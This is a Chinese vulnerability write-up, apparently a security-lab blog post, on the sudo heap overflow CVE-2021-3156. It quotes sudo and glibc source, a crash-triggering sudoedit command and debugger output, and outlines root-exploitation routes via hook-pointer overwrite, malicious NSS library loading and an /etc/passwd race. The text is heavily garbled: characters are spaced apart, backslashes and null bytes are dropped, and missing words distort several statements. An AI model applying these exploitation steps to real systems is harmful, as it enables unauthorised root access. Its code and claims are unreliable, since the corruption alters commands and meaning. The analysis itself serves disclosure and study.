搜索

[27177] 2021-03-01_追洞小组Linuxsudo提权CVE-2021-3156分析复现及exp的编写（上）

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-03-01_追洞小组Linuxsudo提权CVE-2021-3156分析复现及exp的编写（上） 追 洞 小 组   |   L i n u x   s u d o 提 权 C V E - 2 0 2 1 - 3 1 5 6 分 析 复 现 及 e x p 的 编 写 （ 上 ） 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 3 - 0 1 收 录 于 话 题 # 追 洞 小 组   , 7 # 漏 洞 复 现   , 2 3 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   W E B 攻 防 知 识 星 球 攻 防 知 识 星 球 本 文 作 者 ： 不 言 不 言 （ M s 0 8 0 6 7 实 验 室 追 洞 小 组 成 员 ） 漏 洞 复 现 分 析 漏 洞 复 现 分 析     认 准 追 洞 小 组 认 准 追 洞 小 组 一 、 漏 洞 介 绍 一 、 漏 洞 介 绍 Q u a l y s   公 司 的 研 究 团 队 在 乎 所 有 主 流   U n i x   类 操 作 系 统 都 部 署 的   s u d o   中 发 现 了 个 隐 藏 近 1 0 年 之 久 的 堆 溢 出 漏 洞 ， 可 导 致 任 意 低 权 限 户 在 使 默 认   s u d o   配 置 的 易 受 攻 击 主 机 上 获 得   r o o t 权 限 。 该 漏 洞 被 命 名 为 “ B a r o n   S a m e d i t ” ， 是 研 究 员 对   B a r o n   S a m e d i   和   s u d o e d i t   的 戏 称 。 s u d o   是 款 乎 包 含 在 所 有 基 于   U n i x   和   L i n u x   操 作 系 统 中 的 强 具 ， 可 使 户 以 其 它 户 的 安 全 权 限 运 程 序 。 该 漏 洞 本 身 隐 藏 了 近 1 0 年 之 久 。 它 源 2 0 1 1 年 7   ( c o m m i t   8 2 5 5 e d 6 9 )   。 这 个 漏 洞 易 遭 利 ， 户 需 是 权 限 户 或 者 位 于   s u d o e r s   列 表 中 。 例 如 ， 甚 是 “ n o b o d y ” 账 户 也 可 利 该 漏 洞 。 影 响 版 本 影 响 版 本 不 受 影 响 版 本 不 受 影 响 版 本 二 、 漏 洞 分 析 二 、 漏 洞 分 析 官 方 链 接 官 方 链 接 如 果 执 s u d o ， 在 " s h e l l " 模 式 下 运 命 令 ( s h e l l   - c   命 令 ) ： 或 者 通 过   - s   选 项 ， 设 置 s u d o 的   M O D E _ S H E L L   标 记 ； 或 者 通 过   - i   选 项 ， 设 置 s u d o 的   M O D E _ S H E L L   和   M O D E _ L O G I N _ S H E L L   标 记 ； 之 后 在 s u d o 的 m a i n ( ) 的 开 头 ， p a r s e _ a r g s ( ) 重 新 写 a r g v （ 第 6 0 9 - 6 1 7 ） ， 将 所 有 命 令 参 数 （ 第 5 8 7 - 5 9 5 ） ， 并 且 反 斜 杠 转 义 所 有 元 字 符 （ 第 5 9 0 - 5 9 1 ） 。 在   s u d o e r s _ p o l i c y _ m a i n ( )   中 ，   s e t _ c m n d ( )   将 命 令 参 数 放 基 于 堆 的 缓 冲 区   u s e r _ a r g s   ( 第 8 6 4 - 8 7 1 ) ， 并 且 取 消 转 义 元 字 符 ( 第 8 6 6 - 8 6 7 ) ， 来 实 现 s u d o e r s 的 匹 配 和 记 录 。 s u d o   1 . 8 . 2   –   1 . 8 . 3 1 p 2 s u d o   1 . 9 . 0   –   1 . 9 . 5 p 1 s u d o   = <   1 . 9 . 5 p 2 h t t p s : / / w w w . q u a l y s . c o m / 2 0 2 1 / 0 1 / 2 6 / c v e - 2 0 2 1 - 3 1 5 6 / b a r o n - s a m e d i t - h e a p - b a s e d - o v e r f l o w - s u d o . t x t 5 7 1           i f   ( I S S E T ( m o d e ,   M O D E _ R U N )   & &   I S S E T ( f l a g s ,   M O D E _ S H E L L ) )   { 5 7 2           c h a r   * * a v ,   * c m n d   =   N U L L ; 5 7 3           i n t   a c   =   1 ; . . . 5 8 1           c m n d   =   d s t   =   r e a l l o c a r r a y ( N U L L ,   c m n d _ s i z e ,   2 ) ; . . . 5 8 7           f o r   ( a v   =   a r g v ;   * a v   ! =   N U L L ;   a v + + )   { 5 8 8           f o r   ( s r c   =   * a v ;   * s r c   ! =   ' 0 ' ;   s r c + + )   { 5 8 9         / *   q u o t e   p o t e n t i a l   m e t a   c h a r a c t e r s   * / 5 9 0       i f   ( ! i s a l n u m ( ( u n s i g n e d   c h a r ) * s r c )   & &   * s r c   ! =   ' _ ' & &   * s r c   ! =   ' - '   & &   * s r c   ! =   ' $ ' ) 5 9 1       * d s t + +   =   ' ' ; 5 9 2       * d s t + +   =   * s r c ; 5 9 3         } 5 9 4       * d s t + +   =   ' ' ; 5 9 5         } . . . 6 0 0       a c   + =   2 ;   / *   - c   c m n d   * / . . . 6 0 3       a v   =   r e a l l o c a r r a y ( N U L L ,   a c   +   1 ,   s i z e o f ( c h a r   * ) ) ; . . . 6 0 9       a v [ 0 ]   =   ( c h a r   * ) u s e r _ d e t a i l s . s h e l l ;   / *   p l u g i n   m a y   o v e r r i d e s h e l l   * / 6 1 0       i f   ( c m n d   ! =   N U L L )   { 6 1 1       a v [ 1 ]   =   " - c " ; 6 1 2       a v [ 2 ]   =   c m n d ; 6 1 3         } 6 1 4       a v [ a c ]   =   N U L L ; 6 1 5 6 1 6       a r g v   =   a v ; 6 1 7       a r g c   =   a c ; 6 1 8         }
不 幸 的 是 ， 如 果 命 令 以 单 个 反 斜 杠 结 尾 的 字 符 ， 然 后 ： 换 句 话 来 说 ， s e t c m n d ( ) 容 易 受 到 堆 的 缓 冲 区 溢 出 ， 因 为 复 制 到 ` u s e r a r g s ` 缓 冲 区 外 的 字 符 不 在 计 算 的 大 小 中 （ 在 第 8 5 2 - 8 5 3 计 算 ） 。 但 是 从 理 论 上 将 任 何 命 令 行 参 数 都 不 能 够 以 单 个 反 斜 杠 结 束 ： 如 果 设 置 了 M O D E _ S H E L L 和 M O D E _ L O G I N _ S H E L L 标 记 （ 第 8 5 8 行 ， 获 取 易 受 攻 击 代 码 的 必 要 条 件 ） ， 则 设 置   M O D E _ S H E L L （ 第 5 7 1 行 ） ， 然 后 p a r s e _ a r g s ( )   已 经 转 义 了 所 有 的 元 字 符 ， 包 括 反 斜 杠 （ 它 通 过 第 二 个 反 斜 杠 转 义 了 所 有 的 单 个 反 斜 杠 ） 。 但 是 实 际 上 ， s e t _ c m n d ( ) 中 易 受 攻 击 的 代 码 和 转 义 符 p a r s e _ a r g s ( ) 中 的 代 码 被 不 同 的 条 件 限 制 ： 那 么 我 们 的 问 题 是 ： 我 们 可 以 设 置 M O D E _ S H E L L   M O D E _ E D I T   M O D E _ C H E C K （ 获 取 易 受 攻 击 的 代 码 ） ， 而 不 使 用 默 认 的 M O D E _ R U N （ 以 避 免 转 义 代 码 ） 答 案 是 否 定 的 ， 如 果 我 们 设 置 了 M O D E _ E D I T （ - e 选 项 ， 第 3 6 1 行 ） 或 者 M O D E _ C H E C K （ - l 选 项 ， 第 4 2 3 行 和 第 5 1 9 行 ） ， 则 p a r s e _ a r g s ( ) 从   v a l i d _ f l a g s   删 除   M O D E _ S H E L L （ 第 3 6 3 行 和 4 2 4 行 ） 而 如 果 我 们 指 定 一 个 无 效 标 记 M O D E _ S H E L L （ 第 5 3 2 行 至 5 3 3 行 ） ， 则 会 以 一 个 错 误 退 出 ： 但 是 发 现 一 个 问 题 ： 如 果 我 们 以 s u d o e d i t 而 非 s u d o 来 执 行 s u d o ， 则 p a r s e _ a r g s ( )   自 动 设 置 M O D E _ E D I T （ 第 2 7 0 行 ） 但 并 未 重 置   v a l i d _ f l a g s ， 而 v a l i d _ f l a g s   默 认 包 括   M O D E _ S H E L L （ 第 1 2 7 行 和 2 4 9 行 ） ： 因 此 ， 如 果 我 们 执 行 s u d o e d i t   - s ， 那 么 我 们 将 同 时 设 置 M O D E _ E D I T 和 M O D E _ S H E L L （ 但 不 是 M O D E _ R U N ） ， 我 们 避 免 了 转 义 代 码 ， 到 达 易 受 攻 击 的 代 码 ， 并 通 过 基 于 堆 的 缓 冲 区 溢 出 u s e r _ a r g s 一 个 以 单 个 反 斜 杠 字 符 结 尾 的 命 令 行 参 数 ： 8 1 9           i f   ( s u d o _ m o d e   &   ( M O D E _ R U N   |   M O D E _ E D I T   |   M O D E _ C H E C K ) )   {   . . .   8 5 2                           f o r   ( s i z e   =   0 ,   a v   =   N e w A r g v   +   1 ;   * a v ;   a v + + )   8 5 3                                   s i z e   + =   s t r l e n ( * a v )   +   1 ;   8 5 4                         i f   ( s i z e   = =   0   | |   ( u s e r _ a r g s   =   m a l l o c ( s i z e ) )   = =   N U L L )   {   . . .   8 5 7                           }   8 5 8                           i f   ( I S S E T ( s u d o _ m o d e ,   M O D E _ S H E L L | M O D E _ L O G I N _ S H E L L ) )   {   . . .   8 6 4             f o r   ( t o   =   u s e r _ a r g s ,   a v   =   N e w A r g v   +   1 ;   ( f r o m   =   * a v ) ;   a v + + )   {   8 6 5                                           w h i l e   ( * f r o m )   {   8 6 6                 i f   ( f r o m [ 0 ]   = =   ' '   & &   ! i s s p a c e ( ( u n s i g n e d   c h a r ) f r o m [ 1 ] ) )   8 6 7                                                           f r o m + + ;   8 6 8                                                   * t o + +   =   * f r o m + + ;   8 6 9                                           }   8 7 0                                           * t o + +   =   '   ' ;   8 7 1                                   }   . . .   8 8 4                           }   . . .   8 8 6           } 在 第 8 6 6 行 ， f r o m [ 0 ] 是 反 斜 杠 ， 而 f r o m [ 1 ] 是 参 数 的 n u l l 终 止 符 （ 不 是 空 格 ） ； 在 C 语 言 中 代 表 一 个 。 在 第 8 6 7 行 ， f r o m 自 增 指 向 n u l l 终 止 符 ； 在 第 8 6 8 行 ， 将 n u l l 终 止 字 符 复 制 到 u s e r _ a r g s 缓 冲 区 ， 而 f r o m 再 次 自 增 并 且 指                             向 n u l l 后 面 的 字 符 （ 超 过 参 数 边 界 ） ； 在 第 8 6 5 - 8 6 9 行 的 w h i l e 循 环 读 取 并 越 界 复 制 字 符 到 u s e r _ a r g s 缓 冲 区 。   8 1 9           i f   ( s u d o _ m o d e   &   ( M O D E _ R U N   |   M O D E _ E D I T   |   M O D E _ C H E C K ) )   {     . . .     8 5 8           i f   ( I S S E T ( s u d o _ m o d e ,   M O D E _ S H E L L | M O D E _ L O G I N _ S H E L L ) )   {   5 7 1           i f   ( I S S E T ( m o d e ,   M O D E _ R U N )   & &   I S S E T ( f l a g s ,   M O D E _ S H E L L ) )   { 3 5 8                                   c a s e   ' e ' : . . . 3 6 1                                           m o d e   =   M O D E _ E D I T ; 3 6 2                                           s u d o _ s e t t i n g s [ A R G _ S U D O E D I T ] . v a l u e   =   " t r u e " ; 3 6 3                                           v a l i d _ f l a g s   =   M O D E _ N O N I N T E R A C T I V E ; 3 6 4                                           b r e a k ; . . . 4 1 6                                   c a s e   ' l ' : . . . 4 2 3                                           m o d e   =   M O D E _ L I S T ; 4 2 4                                           v a l i d _ f l a g s   =   M O D E _ N O N I N T E R A C T I V E | M O D E _ L O N G _ L I S T ; 4 2 5                                           b r e a k ; . . . 5 1 8           i f   ( a r g c   >   0   & &   m o d e   = =   M O D E _ L I S T ) 5 1 9                   m o d e   =   M O D E _ C H E C K ; . . 5 3 2           i f   ( ( f l a g s   &   v a l i d _ f l a g s )   ! =   f l a g s ) 5 3 3                   u s a g e ( 1 ) ; 1 2 7   # d e f i n e   D E F A U L T _ V A L I D _ F L A G S           ( M O D E _ B A C K G R O U N D | M O D E _ P R E S E R V E _ E N V | M O D E _ R E S E T _ H O M E | M O D E _ L O G I N _ S H E L L | M O D E _ N O N I N T E R A C T I V E | M O D E _ S H E L L ) . . . 2 4 9           i n t   v a l i d _ f l a g s   =   D E F A U L T _ V A L I D _ F L A G S ; . . . 2 6 7           p r o g l e n   =   s t r l e n ( p r o g n a m e ) ; 2 6 8           i f   ( p r o g l e n   >   4   & &   s t r c m p ( p r o g n a m e   +   p r o g l e n   -   4 ,   " e d i t " )   = =   0 )   { 2 6 9                   p r o g n a m e   =   " s u d o e d i t " ; 2 7 0                   m o d e   =   M O D E _ E D I T ; 2 7 1                   s u d o _ s e t t i n g s [ A R G _ S U D O E D I T ] . v a l u e   =   " t r u e " ; 2 7 2           } s u d o e d i t   - s   ' '   ` p e r l   - e   ' p r i n t   " A "   x   6 5 5 3 6 ' ` m a l l o c ( ) :   c o r r u p t e d   t o p   s i z e A b o r t e d   ( c o r e   d u m p e d )
从 攻 击 者 的 角 度 来 看 ， 这 个 缓 冲 区 溢 出 是 理 想 的 ： 例 如 ， 在   a m d 6 4   L i n u x   上 ， 如 下 命 令 分 配 一 个 2 4 字 节 大 小 的   u s e r _ a r g s   缓 冲 区 （ 3 2 字 节 大 小 的 堆 块 ） 并 通 过   “ A = A 0 B = B 0 ”   覆 写 下 一 个 块 的 s i z e 字 段   ( 0 x 0 0 6 2 3 d 4 2 0 0 6 1 3 d 4 1 ) ， 以 “ C = c 0 D = d 0 ”   ( 0 x 0 0 6 4 3 d 4 4 0 0 6 3 3 d 4 3 )   覆 写   f d 字 段 ， 以   E = e 0 F = f 0 ”   ( 0 x 0 0 6 6 3 d 4 6 0 0 6 5 3 d 4 5 )   覆 写   b k   字 段 ： 三 、 利 用 分 析 三 、 利 用 分 析 1 、 、 s t r u c t   s u d o _ h o o k _ e n t r y   o v e r w r i t e 引 起 我 们 注 意 的 第 一 个 崩 溃 是 ： 令 人 惊 讶 的 是 ， s u d o 的 函 数 p r o c e s s _ h o o k s _ g e t e n v ( ) 崩 溃 了 ( 在 1 0 8 行 ) ， 因 为 我 们 改 写 了 指 针 g e t e n v _ f n （ 基 于 堆 的 结 构 s u d o _ h o o k _ e n t r y ） : 要 利 用 此 s t r u c t   s u d o _ h o o k _ e n t r y   o v e r w r i t e , 我 们 要 注 意 : 对 g e t e n v _ f n 的 调 用 ( 在 第 1 0 8 行 ) 以 及 对 e x e c v e ( ) 的 调 用 : i n t   e x e c v e ( c o n s t   c h a r   * f i l e n a m e ,   c h a r   * c o n s t   a r g v [   ] ,   c h a r   * c o n s t   e n v p [   ] ) ; 我 们 可 以 通 过 劫 持 函 数 指 针 g e t e n v _ f n ( 指 向 共 享 库 s u d o e r s . s o 中 的 函 数 s u d o e r s _ h o o k _ g e t e n v （ ） ) 在 存 在 A S L R 的 情 况 下 进 行 部 分 覆 写 ； 幸 运 的 是 s u d o e r s . s o 开 始 包 含 了 对 e x e c v e ( ) 或 （ e x e c v ( ) ） 的 调 用 ： 首 先 我 们 可 以 暴 力 漏 洞 参 数 ， 直 到 用 一 个 无 效 的 用 户 地 址 （ 高 于 0 x 8 0 0 0 0 0 0 0 0 0 0 0 ） 覆 盖 g e t e n v _ f n ， 直 到 g e t e n v _ f n 的 调 用 出 现 一 般 保 护 错 误 ： 接 下 来 ， 我 们 重 新 利 用 这 些 漏 洞 参 数 ， 但 用 一 个 有 效 的 ( 低 于 0 x 8 0 0 0 0 0 0 0 0 0 0 0 ) 但 未 映 射 的 用 户 地 址 来 覆 盖 g e t e n v _ f n ， 在 这 个 示 例 中 ， g e t e n v _ f n 是 我 们 覆 盖 的 第 2 2 个 指 针 。 最 后 ， 我 们 部 分 覆 盖 g e t e n v _ f n （ 我 们 用 0 x 8 a 0 0 覆 盖 它 的 两 个 最 不 重 要 的 字 节 ， s u d o e r s . s o 中 e x e c v ( ) 的 偏 移 量 ， 用 0 x 0 0 覆 盖 它 的 第 三 个 字 节 。 u s e r _ a r g s 在 s e t _ c m n d ( ) 中 的 空 终 结 符 ） ， 直 到 我 们 打 败 A S L R 。 我 们 很 有 可 能 在 2 ^ ( 3 * 8 - 1 2 ) = 2 ^ 1 2 = 4 0 9 6 次 尝 试 后 ， 用 e x e c v ( ) 的 地 址 覆 盖 g e t e n v _ f n ， 从 而 以 r o o t 身 份 执 行 我 们 自 己 的 二 进 制 文 件 ， 命 名 为   " S Y S T E M D B Y P A S S U S E R D B " 。 2 、 、   s t r u c t   s e r v i c e _ u s e r   o v e r w r i t e 引 起 我 们 注 意 的 第 二 次 崩 溃 是 ： g l i b c 的 函 数 n s s _ l o a d _ l i b r a r y ( ) 崩 溃 了 （ 在 第 3 4 4 行 ） ， 因 为 我 们 重 写 了 指 针 l i b r a r y ， 它 是 基 于 堆 的 结 构 s e r v i c e _ u s e r 的 成 员 ： 我 们 可 以 控 制 被 溢 出 的 u s e r _ a r g s 缓 冲 区 的 大 小 （ 连 接 的 命 令 行 参 数 的 大 小 ， 在 8 5 2 - 8 5 4 行 ） ； 我 们 可 以 独 立 控 制 溢 出 本 身 的 大 小 和 内 存 （ 我 们 的 最 后 一 个 命 令 参 数 之 后 是 首 个 环 境 变 量 ， 不 包 含 在 8 5 2 行 到 8 5 3 行 的 计 算 大 小 中 ） ； 我 们 甚 至 可 以 把 空 字 节 写 入 溢 出 的 缓 冲 区 （ 每 个 以 单 个 反 斜 杠 结 尾 的 命 令 行 参 数 或 环 境 变 量 将 空 字 节 写 入 u s e r _ a r g s 中 ， 在 8 6 6 行 - 8 6 8 行 ） e n v   - i   ' A A = a '   ' B = b '   ' C = c '   ' D = d '   ' E = e '   ' F = f '   s u d o e d i t   - s   ' 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | - - - - - - - - + - - - - - - - - + - - - - - - - - + - - - - - - - - | - - - - - - - - + - - - - - - - - + - - - - - - - - + - - - - - - - - + - -     |                 |                 | 1 2 3 4 5 6 7 8 | 9 0 1 2 3 4 5 6 | 7 8 9 0 1 2 . A | A = a . B = b . | C = c . D = d . | E = e . F = f . | - - | - - - - - - - - + - - - - - - - - + - - - - - - - - + - - - - - - - - | - - - - - - - - + - - - - - - - - + - - - - - - - - + - - - - - - - - + - -                             s i z e     < - - - -   u s e r _ a r g s   b u f f e r   - - - - >     s i z e             f d               b k P r o g r a m   r e c e i v e d   s i g n a l   S I G S E G V ,   S e g m e n t a t i o n   f a u l t . 0 x 0 0 0 0 5 6 2 9 1 a 2 5 d 5 0 2   i n   p r o c e s s _ h o o k s _ g e t e n v ( n a m e = n a m e @ e n t r y = 0 x 7 f 4 a 6 d 7 d c 0 4 6   " S Y S T E M D _ B Y P A S S _ U S E R D B " ,   v a l u e = v a l u e @ e n t r y = 0 x 7 f f c 5 9 5 c c 2 4 0 )   a t   . . / . . / s r c / h o o k s . c : 1 0 8 = >   0 x 5 6 2 9 1 a 2 5 d 5 0 2   < p r o c e s s _ h o o k s _ g e t e n v + 8 2 > :         c a l l q     * 0 x 8 ( % r b x ) r b x                         0 x 5 6 2 9 1 c 1 d f 2 b 0             9 4 7 3 4 5 6 5 3 7 2 5 9 2 0 x 5 6 2 9 1 c 1 d f 2 b 0 :   0 x 4 1 4 1 4 1 4 1 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1 4 1 4 1 4 1 4 1   9 9   i n t 1 0 0   p r o c e s s _ h o o k s _ g e t e n v ( c o n s t   c h a r   * n a m e ,   c h a r   * * v a l u e )   1 0 1   {   1 0 2           s t r u c t   s u d o _ h o o k _ e n t r y   * h o o k ;   1 0 3           c h a r   * v a l   =   N U L L ;   . . .   1 0 7           S L I S T _ F O R E A C H ( h o o k ,   & s u d o _ h o o k _ g e t e n v _ l i s t ,   e n t r i e s )   {   1 0 8                   r c   =   h o o k - > u . g e t e n v _ f n ( n a m e ,   & v a l ,   h o o k - > c l o s u r e ) ; n a m e ( S Y S T E M D _ B Y P A S S _ U S E R D B ) 与 e x e c v e ( ) 的 路 径 名 参 数 ; & v a l ( 一 个 指 向 空 指 针 的 指 针 ) 与 e x e c v e ( ) 的 a r g v ; h o o k - >   c l o s u r e （ N U L L 指 针 ） 与 e x e c v e （ ） 的 e n v p ； 0 0 0 0 0 0 0 0 0 0 0 0 8 a 0 0   < e x e c v @ p l t > :         8 a 0 0 :               f 3   0 f   1 e   f a                           e n d b r 6 4                   8 a 0 4 :               f 2   f f   2 5   6 5   5 5   0 5   0 0         b n d   j m p q   * 0 x 5 5 5 6 5 ( % r i p )                 #   5 d f 7 0   < e x e c v @ G L I B C _ 2 . 2 . 5 >                 8 a 0 b :               0 f   1 f   4 4   0 0   0 0                     n o p l       0 x 0 ( % r a x , % r a x , 1 s u d o e d i t [ 1 5 9 0 4 ]   g e n e r a l   p r o t e c t i o n   f a u l t   i p : 5 5 e 9 b 6 4 5 b 5 0 2   s p : 7 f f e 5 3 d 6 f a 4 0   e r r o r : 0   i n   s u d o [ 5 5 e 9 b 6 4 4 e 0 0 0 + 1 a 0 0 0 ]                                                                           ^ ^ ^ s u d o e d i t [ 1 5 9 0 6 ] :   s e g f a u l t   a t   3 2 3 2 3 0 3 0 3 0 3 0   i p   0 0 0 0 3 2 3 2 3 0 3 0 3 0 3 0   s p   0 0 0 0 7 f f e e a b f 2 8 6 8   e r r o r   1 4   i n   s u d o [ 5 5 b 0 3 6 c 1 6 0 0 0 + 5 0 0 0 ] ^ ^ ^ ^ P r o g r a m   r e c e i v e d   s i g n a l   S I G S E G V ,   S e g m e n t a t i o n   f a u l t . 0 x 0 0 0 0 7 f 6 b f 9 c 2 9 4 e e   i n   n s s _ l o a d _ l i b r a r y   ( n i = n i @ e n t r y = 0 x 5 5 c f 1 a 1 d d 0 4 0 )   a t   n s s w i t c h . c : 3 4 4 = >   0 x 7 f 6 b f 9 c 2 9 4 e e   < n s s _ l o a d _ l i b r a r y + 4 6 > :                 c m p q       $ 0 x 0 , 0 x 8 ( % r b x ) r b x                         0 x 4 1 4 1 4 1 4 1 4 1 4 1 4 1         1 8 3 6 7 6 2 2 0 0 9 6 6 7 9 0 5 3 2 7   s t a t i c   i n t 3 2 8   n s s _ l o a d _ l i b r a r y   ( s e r v i c e _ u s e r   * n i ) 3 2 9   { 3 3 0       i f   ( n i - > l i b r a r y   = =   N U L L ) 3 3 1           { . . . 3 3 8               n i - > l i b r a r y   =   n s s _ n e w _ s e r v i c e   ( s e r v i c e _ t a b l e   ? :   & d e f a u l t _ t a b l e , 3 3 9                                                                             n i - > n a m e ) ; . . . 3 4 2           } 3 4 3  
我 们 可 以 轻 松 地 将 s e r v i c e _ u s e r 覆 盖 转 换 为 任 意 代 码 执 行 ： 3 、 、 d e f _ t i m e s t a m p d i r   o v e r w r i t e 第 三 个 漏 洞 利 用 不 是 来 自 s u d o 的 崩 溃 ， 而 是 来 自 一 个 偶 然 的 观 察 结 果 ： 在 暴 力 之 下 ， s u d o 在 我 们 的 工 作 目 录 ( A A A A A A ,   A A A A A A A A A ,   e t c ) 中 创 建 了 数 十 个 新 目 录 ， 这 些 目 录 每 个 都 属 于 r o o t ， 并 且 只 包 含 了 一 个 以 我 们 自 己 的 用 户 命 名 的 小 文 件 ： s u d o 的 t i m e s t a m p   f i l e 。 我 们 重 写 了 d e f _ t i m e s t a m p d i r ， s u d o 的 t i m e s t a m p   d i r e c t o r y 。 如 果 我 们 用 尚 不 存 在 的 目 录 名 覆 盖 d e f _ t i m e s t a m p d i r ， 则 可 以 与 s u d o 的 t s _ m k d i r s ( ) 竞 争 ， 创 建 指 向 任 意 文 件 的 符 号 链 接 ， 然 后 ： 我 们 无 法 将 转 换 为 完 全 r o o t 特 权 （ 例 如 ， 如 果 我 们 将 自 己 的 S U I D 二 进 制 文 件 c h o w n ( ) 转 换 为 r o o t ， 则 内 核 会 自 动 删 除 二 进 制 文 件 的 S U I D 位 ) 。 最 终 我 们 使 用 第 二 种 方 法 提 升 为 r o o t 权 限 。 我 们 通 过 s u d o 的 t i m e s t a m p l o c k ( ) 中 的 一 个 小 b u g ， 我 们 赢 得 了 与 ` t s m k d i r s ( ) 和 t i m e s t a m p _ o p e n ( ) 的 竞 争 ， 并 且 我 们 的 任 意 符 号 链 接 指 向 e t c / p a s s w d ` ， 那 么 这 个 文 件 就 会 以 r o o t 身 份 打 开 。 在 第 6 4 4 行 ， / e t c / p a s s w d 的 前 0 x 3 8 字 节 ( " r o o t :   x : 0 : 0 : . . . " ) , 被 读 入 了 t i m e s t a m p _ e n t r y 类 型 的 e n t r y 。 在 第 6 5 2 行 ， e n t r y . t p y e 是 0 x 7 8 3 a   ( " : x " ) , 不 是 T S _ L O C K E X C L 。 在 第 6 5 7 行 和 3 1 8 行 ， 将 e n t r y - > s i z e 的 字 节 写 入 / e t c / p a s s w d ， e n t r y - > s i z e 的 值 实 际 已 经 被 覆 盖 为 0 x 7 4 6 f ( " o t " ) , 而 不 是 s i z e o f ( s t r u c t   t i m e s t a m p _ e n t r y ) 。 我 们 将 s u d o 堆 栈 的 内 容 全 部 写 入 / e t c / p a s s w d ( 命 令 行 参 数 和 环 境 变 量 ) ， 将 任 意 用 户 写 入 / e t c / p a s s w d 获 得 r o o t 权 限 。 四 、 四 、 P O C 的 验 证 的 验 证 以 非 r o o t 用 户 登 录 系 统 ， 并 使 用 命 令 s u d o e d i t   - s   / 如 果 响 应 一 个 以 s u d o e d i t : 开 头 的 报 错 ， 那 么 表 明 存 在 漏 洞 。 如 果 响 应 一 个 以 u s a g e : 开 头 的 报 错 ， 那 么 表 明 补 丁 已 经 生 效 。 五 、 五 、 E x p 的 编 写 的 编 写 利 用 s t r u c t   s e r v i c e _ u s e r   o v e r w r i t e h t t p s : / / g i t h u b . c o m / b l a s t y / C V E - 2 0 2 1 - 3 1 5 6 3 4 3   3 4 4       i f   ( n i - > l i b r a r y - > l i b _ h a n d l e   = =   N U L L ) 3 4 5           { 3 4 6               / *   L o a d   t h e   s h a r e d   l i b r a r y .     * / 3 4 7               s i z e _ t   s h l e n   =   ( 7   +   s t r l e n   ( n i - > n a m e )   +   3 4 8                                               +   s t r l e n   ( _ _ n s s _ s h l i b _ r e v i s i o n )   +   1 ) ; 3 4 9               i n t   s a v e d _ e r r n o   =   e r r n o ; 3 5 0               c h a r   s h l i b _ n a m e [ s h l e n ] ; 3 5 1   3 5 2               / *   C o n s t r u c t   s h a r e d   o b j e c t   n a m e .     * / 3 5 3               _ _ s t p c p y   ( _ _ s t p c p y   ( _ _ s t p c p y   ( _ _ s t p c p y   ( s h l i b _ n a m e , 3 5 4                                                                                               " l i b n s s _ " ) , 3 5 5                                                                           n i - > n a m e ) , 3 5 6                                                       " . s o " ) , 3 5 7                                   _ _ n s s _ s h l i b _ r e v i s i o n ) ; 3 5 8   3 5 9               n i - > l i b r a r y - > l i b _ h a n d l e   =   _ _ l i b c _ d l o p e n   ( s h l i b _ n a m e ) ; 我 们 使 用 N U L L 指 针 覆 盖 n i - >   l i b r a r y ， 以 在 第 3 3 0 - 3 4 2 行 输 入 该 块 ， 避 免 在 第 3 4 4 行 崩 溃 ， 并 在 第 3 4 4 - 3 5 9 行 输 入 该 块 ； 我 们 用   X   /   X 覆 盖 n i - >   n a m e （ 字 符 数 组 ， 最 初 为   s y s t e m d ） ; 第 3 5 3 - 3 5 7 行 构 造 共 享 库 l i b n s s _ X   /   X . s o . 2 的 名 称 （ 而 不 是   l i b n s s _ s y s t e m d . s o . 2 ） ; 在 第 3 5 9 行 ， 我 们 从 以 下 位 置 加 载 了 自 己 的 共 享 库 l i b n s s _ X   /   X . s o . 2   当 前 工 作 目 录 并 以 r o o t 身 份 执 行 _ i n i t （ ） 构 造 函 数 。 c h o w n ( ) 这 个 任 意 文 件 到 用 户 r o o t 和 组 r o o t ； 以 r o o t 用 户 身 份 打 开 （ 或 创 建 ） 任 意 文 件 ， 并 编 写 一 个 结 构   t i m e s t a m p _ e n t r y 。   6 5   s t r u c t   t i m e s t a m p _ e n t r y   {     6 6           u n s i g n e d   s h o r t   v e r s i o n ;           / *   v e r s i o n   n u m b e r   * /     6 7           u n s i g n e d   s h o r t   s i z e ;                 / *   e n t r y   s i z e   * /     6 8           u n s i g n e d   s h o r t   t y p e ;                 / *   T S _ G L O B A L ,   T S _ T T Y ,   T S _ P P I D   * /   . .     7 8   } ;   3 0 5   s t a t i c   s s i z e _ t     3 0 6   t s _ w r i t e ( i n t   f d ,   c o n s t   c h a r   * f n a m e ,   s t r u c t   t i m e s t a m p _ e n t r y   * e n t r y ,   o f f _ t   o f f s e t )     3 0 7   {     . . .     3 1 8                   n w r i t t e n   =   p w r i t e ( f d ,   e n t r y ,   e n t r y - > s i z e ,   o f f s e t ) ;     . . .     3 5 0   }   6 1 9   b o o l     6 2 0   t i m e s t a m p _ l o c k ( v o i d   * v c o o k i e ,   s t r u c t   p a s s w d   * p w )     6 2 1   {     6 2 2           s t r u c t   t s _ c o o k i e   * c o o k i e   =   v c o o k i e ;     6 2 3           s t r u c t   t i m e s t a m p _ e n t r y   e n t r y ;     . . .     6 4 4           n r e a d   =   r e a d ( c o o k i e - > f d ,   & e n t r y ,   s i z e o f ( e n t r y ) ) ;     6 4 5           i f   ( n r e a d   = =   0 )   {     . . .     6 5 2           }   e l s e   i f   ( e n t r y . t y p e   ! =   T S _ L O C K E X C L )   {     . . .     6 5 7           i f   ( t s _ w r i t e ( c o o k i e - > f d ,   c o o k i e - > f n a m e ,   & e n t r y ,   0 )   = =   - 1 ) / /   E x p l o i t   b y   @ g f _ 2 5 6   a k a   c t s / /   W i t h   h e l p   f r o m   r 4 j / /   O r i g i n a l   a d v i s o r y   b y   B a r o n   S a m e d i t   o f   Q u a l y s / /   T e s t e d   o n   U b u n t u   1 8 . 0 4   a n d   2 0 . 0 4 / /   Y o u   w i l l   p r o b a b l y   n e e d   t o   a d j u s t   R A C E _ S L E E P _ T I M E .
